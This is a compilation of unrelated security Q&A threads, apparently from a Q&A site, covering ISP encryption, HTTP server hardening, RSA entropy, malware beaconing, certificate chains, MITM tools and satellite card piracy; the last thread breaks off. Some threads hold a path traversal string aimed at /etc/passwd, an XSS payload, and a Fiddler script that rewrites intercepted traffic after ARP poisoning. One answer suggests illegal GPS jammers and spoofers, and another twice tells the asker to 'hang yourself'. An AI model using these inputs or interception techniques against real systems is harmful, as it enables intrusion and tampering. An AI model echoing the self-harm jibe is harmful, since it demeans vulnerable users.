Why don't ISPs offer encryption? I was quickly wondering, why don't ISPs offer encryption for the traffic from the customer's router to the ISP-server?

Until now, if you want to protect against e.g a MitM-attack you solely rely on TLS, a VPN, or an encrypted proxy-network like Tor. Encryption from the ISP would offer a big extra layer of security.

How could it work?

For example, the ISP sends a new generated key to the routers every day. This key is encrypted using an algorithm which does calculations on vectors like time, and/or a pattern (similar to product keys). The algorithm to decrypt this key is hard-coded in the routers.
Now, the routers have a new key each day, and that key can be used to encrypt the connection from router -> ISP.

Of course to hide info for your ISP, you'd still have to use a VPN or Tor. Yet this would be an extra layer of security.

Why aren't ISPs doing this?

For ISPs to do encryption across all lines they'd have to make sure that all devices on their backbone can support encryption.  Many of these devices are old.  As the OPM leaks taught us, many organizations don't upgrade equipment that can support what we consider now to be "secure communications".

At the root of it though is that it wouldn't make a difference in your communications.  Even if your communications to the ISP is encrypted, going out past them to a server would then be dumped back out into the Internet in plaintext.   No one's end point for data is the ISP.  Protecting this portion of the communication is redundant because anyone who wants to secure their entire communication path would use a VPN/TLS/HTTPS anyway.


Custom http server security concerns I am using a framework called VERTX to create an HTTP server. This is different from a traditional web server such as APACHE or NGINX. Here I will simply be using JAVA code to create a HTTP server which recieves requests on PORT 80 and send replies back, nothing fancy, very simple implementation. This is simply compiled into a JAR and executed inside of the command line where it will then listen for requests, that is it.

I will be running this HTTP server node (CentOS 7 or Ubuntu 14.04) on Google Cloud so there will be a Load balancer in-front where I can specify firewall rules (I will only allow port 80 to be accessed). The actual code just receives an HTTP request and sends back 'hello world' (no opening of any local files or anything). My question then is, if I close of all ports except port 80, run the HTTP server as another user besides root, are there any common (even uncommon) besides a denial of service attack which can be made on this server? If so, what would be a way to protect against these attacks?

A partial list of things to think about:

Do you support multiple connections at one time? What happens when you get a new connection request while another is pending? What happens if you get more connections than you're expecting? If you (or VERTX or Java, without your knowledge) dynamically reserve memory can too much be reserved (stack smashing: execute arbitrary code)? What happens if a client breaks the connection before you respond: do you properly clean up?

What happens if the client gives you too much or unexpected input? If you have a 1024-byte String to hold the requested URI but the client requests a 1200-byte URI, where do those extra characters go (buffer overflow) (not just the URI but any data the client gives you, like User Agent)? What happens if the client requests ../../../etc/passwd (path traversal; I know you don't intend to open files, but...) or non-ASCII characters (did you reserve 3 bytes because the string has length 3 characters, but they are all 2-byte unicode characters)?

Is there any sort of input that might get handled by the libraries you use in a way you don't expect (e.g. maybe VERTX sees a URL request for file:///etc/passwd and decides to handle it for you)? Or the opposite problem: are you close enough to the physical layer that you need to handle things like fragmented packets?

What happens if the client's IP address is spoofed to make you send replies to the wrong computer (relay attack)?

What happens when you decide none of these issues affect you now, then next year you use this platform as a base for another feature but forget to re-run your security analysis first?

Stretching your question a little: what happens to your users if the appliance is hacked by other means and your HTTP server is replaced with something that serves malware? Do you need to support HTTPS to protect your users? Presumably you have ssh enabled so you can manage the server (install new versions of your server, etc.): is that (or the console or whatever other method you use for maintenance) properly secured?

It takes a little bit of work to listen on privileged ports (below port 1024) without being root. You might make your life a little easier if you can listen on port 8000 (maybe have your load balancer redirect port 80 to 8000 for you).

Protection: defensive coding (like checking lengths of incoming data before copying it), know what's going on in the libraries you're calling, re-use already-debugged code, code reviews, static source analysis, testing.


What does a website see if I am connected on my native IP and then enable my VPN? As per the question. If I am connected to a website, streaming content from my native IP and I then enable my VPN, what does the website see?

Since you asked specifically what the website will see, rather than any intermediary watching your network connection, we should think in terms of requests:

Your old ("native") IP will disconnect any long-running requests, and stop making any new requests.
Your new (VPN) IP will connect and start making requests.

On their own, those two events will be unconnected as far as the web server is concerned, however there may be various things which can be used to guess, with reasonable confidence, that they are related:

A cookie may have been set for your browser to send with each request, and the old and new requests will send the same cookie.
A client-side script (code running in your browser) may be feeding additional stateful data with the content requests, possibly stored in LocalStorage so that it will resume if you reload the page.
The URLs for the content may have been dynamically generated for you, so any request to that URL is assumed to be the same user.
The site may take a "fingerprint" of your browser - User Agent, detection of features and settings, etc - and recognise that before and after you connect to the VPN.
The server could log where in the stream you had got to, and line up the first position the new IP requests (e.g. with the Range HTTP header) with the last position the old IP requested.

All of these things are technically information which you are providing to the website, and can be altered, spoofed, or removed; but doing so will not happen automatically in a standard browser.


How much time / "entropy collected" should generating a RSA 2048bit keypair take? The purpose of my question is get an better idea about reasonable amount of time the generation of the RSA public/private keypair should take?

To be less vague let me specify the question and define I would use these commands to generate the keypair on an laptop running a recent 3.2.xx linux kernel.

$ openssl genrsa -out testkey.private 2048
$ openssl rsa -in testkey.private -pubout -out testkey.public

I have timed about commands and in average this operation is taking about 0.5 seconds, which seems awfully quick to me (too quick indeed).

Know I am aware of (and also tried to express that in the questions title) that it is not merely the time, but rather the amount of entropy and its rate of replenishment which influences the time needed to create the keypair. At least I assume that entropy is used to generate the keys (else the keys would be predictable and consequently useless, right?).

On the same system using gpg --gen-key from OpenPGP "GNU Privacy Guard" which I can also also be used to create a 2048bit RSA key-pair for instance takes much much longer time and even requires me to move the mouse around etc.

So I am wondering how this is adding up. In essence how much entropy and consequently time should a RSA keypair generation take on a moderns system.

I am convinced there is no standard time, but surely it can be estimated in terms of
"less then 30 minutes" "more then 10 seconds".

Given that there are storages of "entropy" in the system. Let's assume they are empty and hence the time I am looking for the creation of one RSA 2048 keypair "rule of thumb" should involve starting from scratch "in entropy storage terms".

Why would OpenPGP gpg take about 2 minutes to create a RSA 2048 keypair and
openssl be done in half a second...?

For security, all that you need is that the process runs with 128 or so of entropy as initial seed. Entropy here means: that which the attacker does not know. In particular, there is no problem if the same source entropy is extended with a CSPRNG into the production of many key pairs.

The core model is the following: the operating system maintains an internal "entropy pool" which contains at least 128 bits of entropy. A cryptographically strong PRNG extends that internal pool into an arbitrarily long sequence of pseudorandom bits, which are, by definition, unpredictable by the attacker, because 2128 is way too high a number for the attacker to brute force the pool, and "cryptographically strong" really means "ye cannot do better than brute force". On a Linux system, this is called /dev/urandom.

(Note: part of being "cryptographically strong" also includes "forward security": obtaining the pool contents after the key generation should not allow "rewinding" the PRNG to its state prior to the generation. Good PRNG are forward secure.)

There is a common myth about entropy being "used up" like it was some sort of fuel. This is not true, except in a very theoretical sense which applies only if you use the randomness only for One-Time Pad, and your attacker is God. For all other cases, including generating keys for "normal algorithms" like RSA, and not incurring divine wrath, entropy is not consumed when obtaining bytes from /dev/urandom. The /dev/random behaviour on Linux is, in fact, badly flawed (FreeBSD's /dev/random is much better). This Web page explains quite well the differences between /dev/random and /dev/urandom, and why /dev/urandom should be preferred. Read it whole.

The remaining question is then: why would GnuPG use /dev/random and not /dev/urandom for key generation ? Well, there are historical reasons (GnuPG aimed at supporting systems with very poor OS-provided PRNG) and general inertia (a common unwillingness to challenge "established wisdom", even when such "wisdom" is mythical); but the biggest reason is that it is your own fault. GnuPG does cryptography like medicine: not only it must protect the emails, but the human user must also be convinced that some powerful cryptography just occurred. Pills work better when they taste foul; similarly, users want key generation to look like an expensive endeavour. Your own question is a testament to that feeling: though you don't actually know precisely what happens within a CSPRNG (that's a matter for cryptographers), you still believe that "0.5 seconds is too quick". GnuPG complies to your whims by making a big show of the key generation process. This is all security theater and it happens because you want it that way.


Preventing Illegal Access to Webservice Let me start off by saying that I read other StackExchange questions related to this and they weren't really able to answer my question.  I have a feeling this may be an unsolvable problem, but I'm wondering if maybe there's a happy medium that will satisfy my requirements.

I have an Android application.  However, it's not login-based in the traditional sense that users don't sign up with an email or anything. We just automatically create an account for them with some randomly generated UUID as their "login" to the service.  To get this UUID, the Android application sends a request to a webservice indicating that they are a new user who just installed the application.  The webservice then returns a UUID that will be used for any further accesses to the application.  The point of this is to make it so that user specific information can still be stored in the database, but users don't have to go through the hassle of creating an account and logging in every time.

Obviously, requests to the webservice for other actions are all restricted by having a valid UUID.  However, the webservice for creating the account has no restrictions, meaning an attacker could spam GET requests to it from any device to create any number of users they want and flood the database/server.

My question is, how can this be avoided?  I understand the concept of a secret embedded in the Android application to access the webservice, but it seems like any client-generated secret could be easily obtained by an attacker by decompiling the APK.  Another idea was to restrict access by MAC address, meaning only MAC addresses with the app installed could reach the user creation web service URL.  But because of MAC-spoofing, that also seems like a bad idea.

Is there a good way to have a client-generated secret that isn't easy to obtain by examining source code?  I know this is a very difficult question but if anyone has some insight that would be great.

However, the webservice for creating the account has no restrictions,
  meaning an attacker could spam GET requests to it from any device to
  create any number of users they want and flood the database/server.

  My question is, how can this be avoided?

You can use a mix of CAPTCHA and IP restrictions to avoid such type of attack.

IP restrictions:

An unique IP can create a maximum of X accounts in an Y amount of time (Y seconds, or minutes, or hours, or days, etc., just you can balance the right amount).

CAPTCHA:

CAPTCHAs are commonly used in an effort to prevent automated account sign up, then you can require a CAPTCHA challenge-response to create an account.

Mix CAPTCHA and IP restrictions and you are done.

  Is there a good way to have a client-generated secret that isn't easy
  to obtain by examining source code?

I didn't understand your question.

1) If you want to protect your server just against flood, the answer is above.

2) If you want to protect the user data, so nobody can send requests to your server to get the informations of user with UUID X, you can create a random token specific to an UUID when creating the account and can store it in a encrypted database on Android.

EDIT:

See the new "No CAPTCHA reCAPTCHA”.

http://googleonlinesecurity.blogspot.com.br/2014/12/are-you-robot-introducing-no-captcha.html

Painless for your users, effective to you.


Why can I ping a server, but nmap normal scan cannot see the host? I am able to ping a server on an vpn. However, when I use a normal nmap scan it does not pickup on the host. Doing a scan with host discovery turned off (nmap -Pn host scan) does show the host.
If I am not mistaken, should my ping not fail if the regular nmap scan (nmap host) fails?

From nmap.org:

If no host discovery options are given, Nmap sends an ICMP echo
request, a TCP SYN packet to port 443, a TCP ACK packet to port 80,
and an ICMP timestamp request. ... For unprivileged
Unix shell users, the default probes are a SYN packet to ports 80 and
443 using the connect system call.

I am guessing you ran nmap as an unprivileged user, so ICMP was not used for host discovery. Using -Pn "works" because it skips host discovery and treats the host as up no matter what.


Find the process that queries a malicious domain every 2 minutes I found suspicious traffic in a client a few days ago.
A process in the client queries a malicious domain every 2 minutes.
The domain is hostingcloud.science that hosts a javascript file for coin mining

I checked the client with procmon and found the traffic sent by svchost.exe

And also with netstat was same:

What's the meaning of "Dnscache" in netstat result? Why it doesn't stop after ipconfig /flushdns
Why client query that domain continuously but i don't have any traffic with the domain?
How to find the root cause?

I checked the client with two different AV and it was clean. I know the client has visited a website that contains javascript with that domain a few days ago.

Whats the meaning of "Dnscache" in netstat result?

Its a legitimate client process used as a local store (cache) for DNS responses. All responses are kept for the duration of their TTL.

why it doesn't stop after ipconfig /flushdns

Not sure its suppose to stop/restart/etc. You can run the following command to see if flushdns worked.

ipconfig /flushdns && ipconfig /displaydns

Why client query that domain continuously but i don't have any traffic with the domain?

Dig into the DNS request/response. Perhaps the necessary information is included in that exchange (i.e. DNS data exfiltration).

How to find the root cause?

Take a closer look at the svchost instance. Once you have the PID replace 0000 in the following commands. Compare these results to a known good system.

The following command will list the services using the target svchost. This will greatly narrow things down.

tasklist /svc /FI "pid eq 0000"

The following command will show the loaded modules.

tasklist /m /FI "pid eq 0000"

You're on the right track using procmon. If you're certain that svchost is hosting malware, configure the procmon filter to only capture events for that PID. The resulting information should give you everything you need.

As @razvan-socol mentioned in the comments, use autoruns to identify how it starts up.

Ps: i checked the client with two different AV and it was clean, Just i know the client has visited a website that contain a js with that domain few days ago.

Its calling out every two minutes though right? And that's not normal for your environment right? With a two minute beacon, the malware doesn't appear to be taking steps to hide its activity. However you should consider taking the system offline for analysis.


Effective File Integrity Monitoring (FIM) I have hundreds of windows servers in my environment that I need to monitor using FIM.

I am afraid that after every patch (each patch might affect and change the hash of hundreds of sensitive files) I will get tens of thousands of false positive alerts that I will need to verify and investigate one by one.

Do you know of an effective way to manage this issue?

If you are checking for changed files, then yes, every file changed will alert. This is exactly how this should work.

Usual mitigation techniques include:

limiting the number of files you check. Usually based on criticality or materiality
forcing your FIM tool to calculate new checksums as part of your change process

Both present risks of missing unwanted changes.


When my location is turned on can someone track me? When the location is turned on can someone track me without me sharing my location with them?

Your question sort of contradicts itself, because by turning your location ON, you are sharing your location. By sharing your location, you are making it a lot easier for this "someone" to be able track you. I suggest if you are woried about being tracked you start by turning off your location, or if you are really paranoid, then there are other methods of working with GPS and location.

Digital Location Security

VPN:

For starters you can use a VPN to hide your digital location when using the Internet. You can find a lot of them on Android (One example could be OpenVPN). This will help with anyone tracking you through the internet.

Tor:

Another way to help you hide yourself on the internet would be using Tor. On mobile devices, Tor Service is actually called "Orbot". You can also get "Orfox" which is like the Tor Browser (Firefox). But again this will only help you hide yourself on the internet.

Physical Location Security

This phase is used when you think "someone" is trying to physically track you down from the location of your device.

GPS jamming and blocking devices

GPS jamming gadgets – Commonly sold online, popular models simply plug into a vehicle’s 12v adapter (similar to the one in THIS picture) and interfere with any GPS radio signal within a range of about 30ft.
Metal shields – A cheaper, non-powered option is wrapping the device in a metal sleeve such as brass mesh or a lead camera film protector. It has been reported that car thieves have been known to transport stolen cars fitted with GPS tracking units inside refrigerated trucks to block the GPS signal.
GPS spoofing gadgets – These gadgets can send a fake radio signal that overrides the signal being transmitted by the GPS device and reports a fake location. These are not only illegal but can be dangerous to other GPS users, particularly those used in commercial transportation.
Mobile phone jammers – Many GPS devices report real-time tracking, which uses a wireless carrier to communicate this information to the person doing the tracking. A cell phone jammer can be used to block the signal being transmitted to the wireless carrier preventing status updates being sent. Unlike a GPS jammer this also prevents mobile phone use.

Resources

You can learn more about GPS and wireless signals with the link below:

http://gpssystems.net/gps-jamming/

and remember...You can never be 100% invisible from "someone", however, you can make it more difficult for "someone" to locate you digitally, and physically using some of these steps above.


Different SSL cert behavior with Chrome on desktop vs. Chrome on iOS We have a website, https://uk.care.com, that has a GeoTrust multi-SAN cert on it. The cert is up-to-date, using SHA-256, TLS 1.2, etc.  When we view the site in Chrome on various desktop systems it shows the green lock in the status bar as expected, and as seen in this screenshot:

However when we view the mobile version of the site in the latest version of Chrome on an iPhone the lock shows up as yellow in the address bar, but the information regarding the connection is all green, as in this screenshot:

My question is why is Chrome on the iOS device displaying the yellow lock when Chrome on the desktop doesn't?  We don't have any issues with this SSL cert in Safari, Opera, or Mercury on iOS nor Firefox or other browsers on desktops.

https://www.ssllabs.com/ssltest/analyze.html?d=uk.care.com&s=46.137.89.126

https://www.ssllabs.com/ssltest/analyze.html?d=uk.care.com&s=54.228.236.90

The padlock is yellow because you have a certificate that uses SHA-1 in the certificate chain and Google have declared war on SHA-1 certificates.

Chrome uses the operating system's root CAs. If the operating system has the "GeoTrust Global CA" certificate with fingerprint de28f4a4ffe5b92fa3c503d1a349a7f9962a8212, then there won't be SHA-1 certificates in the chain, because your cert can be linked to a cert the browser trusts using only certs that use SHA-256.

But if it doesn't, the chain will use the older "GeoTrust Global CA" with fingerprint 7359755c6df9a0abc3060bce369564c8ec4542a3, which is sent by your server and uses SHA-1, to link your certificate to a certificate trusted by the operating system (an old RSA 1024 cert).

You can try not sending the 7359755c6df9a0abc3060bce369564c8ec4542a3 certificate and see whether it breaks any clients you care about (those that don't have de28f4a4ffe5b92fa3c503d1a349a7f9962a8212 in their trusted certificate list).

Also, you should:

Upgrade your openssl and web server to use 2048 bit DHE (unless you need compatibility with older java clients).
Even if you can't upgrade to 2048 bit DHE, generate new DH params. You're using a common prime number that is the one would be broken first by anyone who can factor 1024 bit numbers.
Reorder the priority of cipher suites: ECDHE+GCM first, ECDHE+CBC second, DHE+CBC third, RSA+3DES fallback last.

EDIT: A very good explanation for two corner cases when you send SHA-2 chain and the browser still sees SHA-1: https://sslmate.com/blog/post/chrome_cached_sha1_chains


OpenSSL's EVP functions, more specifically EVP_SealInit Reference: https://wiki.openssl.org/index.php/Manual:EVP_SealInit%283%29

I want to securely share a symmetrical key between two endpoints using OpenSSL's EVP interface.
Transferring the encrypted symmetrical key and decrypting it on the other end works fine, but that leaves me with only the sender having it, since the SealInit function generates a random symmetrical key and immediately encrypts it with the receiver's public key.

So my question is, how am I supposed to be using these functions?

I could solve it by:

a) Generating a symmetrical key beforehand and encrypting it with the receiver's public key, which makes some part of the sealing operation pointless

or

b) Using a separate symmetrical key for both the sender and receiver, which seems needlessly complex

Since neither option seems like a good solution to me, I think I must be missing something or misunderstanding some basic concepts, as encryption is new to me.

Thank you for reading my question.

Yes, EVP_{Seal,Open}* do 'hybrid' encryption: symmetric-encrypt the data with a nonce key, and publickey-encrypt that key to the recipient(s), and decrypt accordingly. (EVP_Digest{Sign,Verify}* similarly do hybrid signing: symmetric-hash the data and public-key sign the hash.) If you don't want this functionality, don't use these routines.

If you want to publickey-encrypt and decrypt a small amount of data, such as a symmetric key, use EVP_PKEY_{encrypt,decrypt}{_init,}. Most symmetric keys are just random bytes (or bits) and you can generate with RAND_bytes. Assuming you want to subsequently symmetric encrypt and decrypt data with that key, see EVP_{Encrypt,Decrypt}* or EVP_Cipher* which has a flag to select direction.


Does HSTS prevent packet capturing in Wireshark If a site is enforcing HSTS, does that prevent packet capturing of a GET requests in Wireshark?
If it prevents it, is it possible to achieve the same using Bettercap or any other alternatives?
Scenario:
The response to the GET request is a token value, which is sensitive and can be used for other functionalities on the website.

Let's back up a bit because you are asking about details on the extreme ends of a technology stack and your question misses the mark and doesn't make sense.

Wireshark just captures packets, so you could replace "Wireshark" in your question with "packet captures"
TLS encrypts the HTTP payloads, so GET requests would be encrypted
packet captures could still happen, but they would be encrypted

So, would TLS prevent the contents of a GET request from being exposed? Yes.
What about Bettercap?

HSTS helps to ensure one cannot downgrade HTTPS to HTTP
One attack in Bettercap (or any other Man-in-the-Middle tool) is to try to downgrade HTTPS
HSTS would prevent this type of attack

But that's just one attack. Another, better, use of Bettercap is to replace the certificate of the server with its own and decrypt the client communication. HSTS will not be so useful against that.


Assessing risks Physical security of devices I have several devices and flash drives that need to be secured. I haven't been able to find any good physical security measures to protect those devices. What are my options? What do you use, if someone is in a similar situation?

Answers to Mike Ounsworth's ssd.eff.org/en/module/assessing-your-risks

I want to protect the files from copying and the devices from being compromised.
There's more than one adversary and their resources are moderate to high. They can easily break into safes and locks if they aren't secure enough.
The adversary would steal the data and use it in a negative way.
The risk is certain.
I'd do anything I can to try to prevent, there are no social constraints, no technical constraints and finanical constraints under $1,000 USD would be ideal.

The answer is found in Karate Kid II:

  Remember, best block, no be there.

You cannot break a device that you don't have, and you cannot steal something of which you don't know the location. You cannot decrypt a no-sucks encryption without knowing the  key. You cannot coerce someone telling you the key if the person doesn't know the key. You cannot restore a split secret if you don't have all the parts (or a certain number, at least).

So the first obvious defense is to make the location of the devices/disks unknown and the disks physically inaccessible. Make sure it is unfeasible to get all parts.

Rent a couple of bank safes, do not tell anyone where. Put one disk with one shared-secret part in each. Depending on your paranoia level, you might even have two or three trusted people independently rent safes (and possibly more than you need), and give one or several of them a share of the secret (without knowing where they've rented the safes yourself, or in which one they'll place the disk).

Use a random encryption key long enough so you cannot remember it, and have another trusted person keep it. Or, have two people store half of the key each. Could give one half to your attorney in a sealed envelope like in a 1970s spy movie. Or put it in yet a different safe, hide it on a cemetary, whatever. Protected storage on a smartphone would be an option. Both Apple and Samsung offer protected storage and will wipe memory after so and so many failures if you tell the phone to do that. Give your lawyer that phone.

Adversaries might break the safe in your home or your office. But few, very few, adversaries can break into a bank safe, let alone break into several of them either at the same time or without being noticed. As soon as one bank safe is broken into, you will be informed. So they must be really, really, really, powerful to pull that off.
If the possibility of your adversary breaking into 3 or 4 banks simultaneously and figuring out the encryption key is a realistic concern, please stop reading now, buy some rope, and hang yourself. Or, just give them your secret.

An adversary who doesn't have all split-secret devices cannot use the data even if he has some of them (well, it depends on the scheme you use, could need N-1 or N-2, or N/2). An adversary who doesn't know the encryption key has nothing but rubbish in his hands, even if he has all the parts. So... make sure that cannot happen.

The easiest, most obvious split-secret scheme that you can use without special tools is RAID-0 (or RAID-5 if you want to trade the small risk of the adversary finding N-1 disks against the risk of losing one by accident) in combination with any kind of does-not-totally-suck file-based encryption. Anything that does any kind of block chaining and uses a no-joke algorithm. Which is pretty much what every standard archive tool like 7z or such does. If you have reason to believe your adversary can conceivably break the encryption that 7z uses, then see above, buy rope and hang yourself. Nobody can help you.

As an alternative if RAID sounds too scary to you (never heard of?), you could add some random data to an (encrypted) archive (doesn't matter what, just to guarantee a minimum archive size to start with), then add all your secret data, and finally select the "split archive to..." option to generate several small sub-archives. All but the first part (which contains only random noise) are worthless without all of the preceding parts. Put one on each disk, done. You can even add some redundancy by hand if you like, in case one disk is lost. Only need to create more segments and be sure each is on at least two disks.
Or, create an encrypted archive, split in two, add the parts in reverse order to another encrypted archive which you then split in N parts (don't need random noise then, cannot decode any part, including the first, without the other parts).

If an adversary doesn't have all the disks, then whatever he has... it's completely worthless. There's no way he will decrypt the archive, or part of it, even if he knows the decryption key.

If the paranoia level is at its top, you could complement the whole thing by further adding filesystem-level encryption. But that's actually kinda silly.


TCP Sequence Prediction and it's prominence in modern systems/networks I have a question regarding your experience of TCP Sequence Prediction that I am hoping someone could help with.

I am aware of how TCP Sequence Prediction works and how the connection can be hijacked by an attacker predicting the sequence number and preparing a faked packet and so on, but how prominnent is this sort of attack in 'real life' environments in this day and age, or is it the case that it is no longer really an issue in modern systems/networks because of better awareness and implementation of countermeasures such as firewall rules, more secure generation of sequence numbers, mac filtering and so on?

your help is much appreciated, thanks

TCP sequence prediction was a hot topic around 2001, but most vendors have patched their OS quite quickly around that time. See this CERT advisory from September 2001, which includes statements from various vendors. Basically, if the TCP sequence prediction attack works against a system, then that system was not updated with security fixes from more than a decade, which almost certainly means that it has much bigger security issues.

To generate unpredictable sequence numbers, implementations are encouraged to follow the technique described in RFC 6528 (which supersedes the older RFC 1948). This is a custom PRNG with MD5. Cryptographically speaking, this PRNG kinda sucks: apart from using a hash function of questionable robustness, it also uses it "wrong" (that's a Merkle-Damgård construction; care should be employed when simply concatenating a key with some known input; HMAC should be used instead, as a building element); and the overall scheme is not very fast (a good stream cipher would be much better). However, speed is not a strong issue here (a low-end system will still be able to compute that algorithm millions of times per second; processing of incoming SYN requests will be the bottleneck, not the hashing) and we don't need really high cryptographic strength, since the attacker can "get lucky" with probability 2-32 anyway, so the PRNG needs not be better than that (typical goal for cryptographic algorithms is 2-80 or less).

Summary: TCP sequence prediction attack is a thing of the past; nice to know, but not applicable to systems which have been maintained for the last ten years or so.


XSS Page Cannot be Displayed When I try XSS on various websites, such as inserting " onmouseover="alert(1) in a search box, I either get a message saying You don't have permission to access this page or This page cannot be displayed. Is this because of the browser I am using (IE 11) or is it a method of defense against XSS?

The first one - "You don't have permission to access this page" - doesnt sound like the browser. The second - "This page cannot be displayed" - could be.

Different browsers react differently when they catch an XSS attack. If mode=block is set in the X-XSS-Protection header, both the latest version of Chrome and IE will give you a page similar to the one you get if you have no internet connection:

Earlier version of IE would give you a page containing only # and a warning dialog at the bottom of the page.

If mode=block is not set, both Chrome and IE will just quietly filter out the injected JavaScript and display the page without it.

If you want to test how a specific browser react, I recommend this great test page. Compare the error pages you got with what that site displays to know if it is the browser or not.

So if it is not the browser, what is it then? It is probably the page your are trying to exploit that has caught your XSS attempt and serves you a standard error page to fend off your attack. Or perhaps you caused an internal server error and the error page is a default fallback if that happends. It is impossible to know for sure what is going on behind the scenes on the server without having the source code it uses.


Network ARP poisoned with Cain but Fiddler not modifying HTML. The Situation

I have successfully used Cain to ARP poison my phone and traffic is being routed via my PC. I have confirmed this in Wireshark and Cain is also able to recover passwords for my SMTP and POP email accounts.

The Problem

I have setup Fiddler and using a Fiddler Script I'm trying to do some basic HTML injection/modification by modifying a news headline on the BBC News website.

static function OnBeforeResponse(oSession: Session) {

    if (m_Hide304s && oSession.responseCode == 304) {
        oSession["ui-hide"] = "true";
    }

    if(oSession.HostnameIs("www.bbc.co.uk/news/")) {
        oSession.utilDecodeResponse();
        var oBody = System.Text.Encoding.UTF8.GetString(oSession.responseBodyBytes);
        oBody = oBody.replace("US and UK pull staff out of Yemen",
                              "Hello World!");
        oSession.utilSetResponseBody(oBody);
    }
}

The Question
Fiddler is working on my own browser traffic, navigating to the BBC News website shows me the headline Hello World! My question is should it work on the traffic being routed through my NIC by Cain? Navigating to the same page on my phone does not show the manipulated headline.

As far as I understand, Fiddler is only supposed to work on local browser traffic. You need another type of program, a http proxy (like Squid) to do what you intend.


How is Token Based authentication stateless? My understanding is that tokens are signed by server and every time a client makes a request with the token, the server decrypts it to get the user info.

A couple of problems I see about calling this stateless:

1) Is there one private key for all users? If it's different, you are maintaining all the private keys instead of session information.

2) Once the server decrypts the token, lets say the decrypted message is a JSON blob with fields like id,username on it. How will the server know whether or not that id, username exists on their platform without maintaining that in the first place?

There is only one private key that is used to sign all tokens. So the key itself is not a server state.

Yes, off course you need a database with user data, like ID and username. But having a database to store permanent data does not make you stateful. When we talk about stateless servers, we mean that there is no session state stored on the server. But off course there is still loads of data about users, blog posts, products or whatever.

Also, since the token is signed by the server you do not actually need to check with the database that the user info is correct on every request. The server makes sure the data is correct when it signs the token, and after that the signature verifies it.


What are Implicit and Explicit Certificates in Public Key Cryptography? A Public key is certified by a Trusted Certifying authority, to ensure the integrity of the key and authenticity of the entity who claims to have the corresponding private key.

In this Public Key Certificates, What are Implicit and Explicit Certificates?

A certificate establishes a link between an identity and a public key; the link is "guaranteed" by a Certification Authority with some sort of digital signature or another similar cryptographic binding.

The Wikipedia page on "implicit certificates" (pointed to by @Clayton) describes a concept where the public key algorithm is such that the public key, the key owner name, and the signature from the CA are somehow conflated into a single lightweight element. This concept seems to have emerged from the ECQV algorithm, and "implicit certificate" was coined as a sales pitch for that algorithm. Indeed, you can find the (slightly marketing toned) description from Certicom. It seems to be (possibly) subject to a host of patents (e.g. this one).

Though the concept is generic, I am aware of only one actual implementation, which is ECQV. It is not standardized and deployed yet.

In ECQV, the mechanics of the algorithm contrive to store into a single element both the public key and the sort-of-signature from the CA, while the element is no larger than the public key alone. A system trying to use the implicit certificate for a given user needs three elements:

the purported key owner identity;
the implicit certificate for that owner;
the CA public key;

and the ECQV algorithm takes all three elements to output the user's public key. This is implicit in that it is not known yet whether the certificate really exist; i.e. given an implicit certificate C and the CA public key P, the ECQV algorithm says: if the certificate C is owned by user U, then the public key of U is K. All the "implicit" resides in the "if".

A roughly similar concept, but more extreme, is identity-based cryptography. In ID-based crypto, more mathematics are thrown at the problem (pairings on elliptic curves...) so as to achieve an even better result: removal of the certificate. The certificate is so implicit that it no longer needs to exist at all. With ID-based cryptography, the user's identity is his public key. ID-based crypto is "better" than implicit certificates because it allows public key usage out of the blue. Consider for instance the problem of sending an encrypted email to somebody (let's call him Bob):

With classical (say "explicit") certificates, you have to first get Bob's certificate. E.g. Bob sends it to you (traditionally with a signed email) or your software finds it in some directory.
With implicit certificates, you still have to get Bob's certificate. It is shorter, thus "more efficient", but you need it.
With ID-based crypto, you don't need Bob's certificate. You already have it: it is Bob's name, i.e. "Bob". This is sufficient for you to encrypt and send the email.

It seems to me that the implicit certificate concept, i.e. ECQV, has trouble finding some market share; it is squeezed between "normal" certificates, over which ECQV only offers some perceived performance advantage (which, more often that not, has no relevance whatsoever), and ID-based cryptography, which offers some really structural advantages.

(It has been reported that Certicom and other patent owners still succeed in pushing their algorithms in some standardization committees through intense lobbying. I have not witnessed such things myself, though.)


How does small dish satellite secure their signal? For example how does Direct TV's small plastic cards control who receives the TV signal? How is the signal encoded in a way that can allow future updates without the provider needing a new satellite?

Can someone add tags this question?

What does it mean to be hit or hashed. A friend of mine says that his TV is out because it was hit by the service provider. How can a satellite send a signal to fry your hardware?

Essentially, each subscriber has a key in their smart card. When a new subscriber is added or changes their service, a new group key is sent over the broadcast system, encrypted with that subscriber's key. The keys to actually decrypt individual programs are themselves encrypted with the group key for the set of services that program belongs to. Legitimate subscribers decrypt the program keys using the group keys, which they decrypt using their subscriber keys.

If someone changes their service, change messages are sent over the system. They're repeated at random intervals to make sure someone gets a new service even if their box was off or missed a signal and to make sure someone eventually gets a service removed if they stopped paying for it or request it be removed.

All of this takes place inside the smart card, a physically secure computing system. Typically, the smart cards can be reprogrammed, but the new programming must be signed. To upgrade smart cards, new programming is sent over the satellite and is signed so existing cards accept it. The service provider knows what smart card each subscriber has and can run multiple distinct security systems concurrently, provided everyone who wants to watch the same show, and is allowed to do so, winds up with the same key to decrypt the actual contents.

There are many ways to pirate cards, but typically a number of pirated cards are all clones of a single subscriber. The system is one-way, so it can't tell if a card has been duplicated. When a card is "hit', that means the operator figured out the card was duplicated (often by one such duplicated card falling into its hands). They then de-authorize that subscriber, shutting off all the pirates using that particular subscriber key.

The pirated cards may be smart enough to ignore the de-authorization. But even so, as soon as the group keys are changed, they'll stop working, since they no longer have any way to decrypt the group keys and thus no way to decrypt the keys needed to decrypt the programming.

Sometimes cards are also "hit" by the provider simply changing the logic in the card. The change can be minor, but enough so that the pirated cards become incompatible with the system. This can be either because the pirated cards reject the update and become incompatible because the protocol has changed or it can be because the pirated cards accept the update and cease to be pirated cards. This can affect every pirated card of a particular type in existence, even if they all use different accounts.


Is the same decryption key used for data on the server as locally with Lastpass? Lastpass stores the password databases encrypted on the server. Does it give a database to anyone who asks? If no, then what authentication (i.e. password) is used? I use Lastpass on multiple devices with the same master password and have not configured any other passwords. It sure would be silly if the master password is used to authenticate to the Lastpass servers when a person's password database is being retrieved.

Is there anything special about Lastpass in the sense that most servers when they do store something in ecrypted form, they know how to decrypt it e.g. a court order could compel them to do so?

Is the same decryption key used for data on the server as locally with Lastpass?

Yes, the same decryption key is used for data on the server as local data. Although if you are using a Yubikey, so you can set your local password database to be encrypted with the public identifier too.

Does it give a database to anyone who asks?

Not anyone. LastPass will comply with the law, so if a relevant law enforcement agency requests the data with the correct authorisation then LastPass will supply them with the encrypted data.

If no, then what authentication (i.e. password) is used?

Your password is never sent to LastPass themselves. According to Security Now podcast:

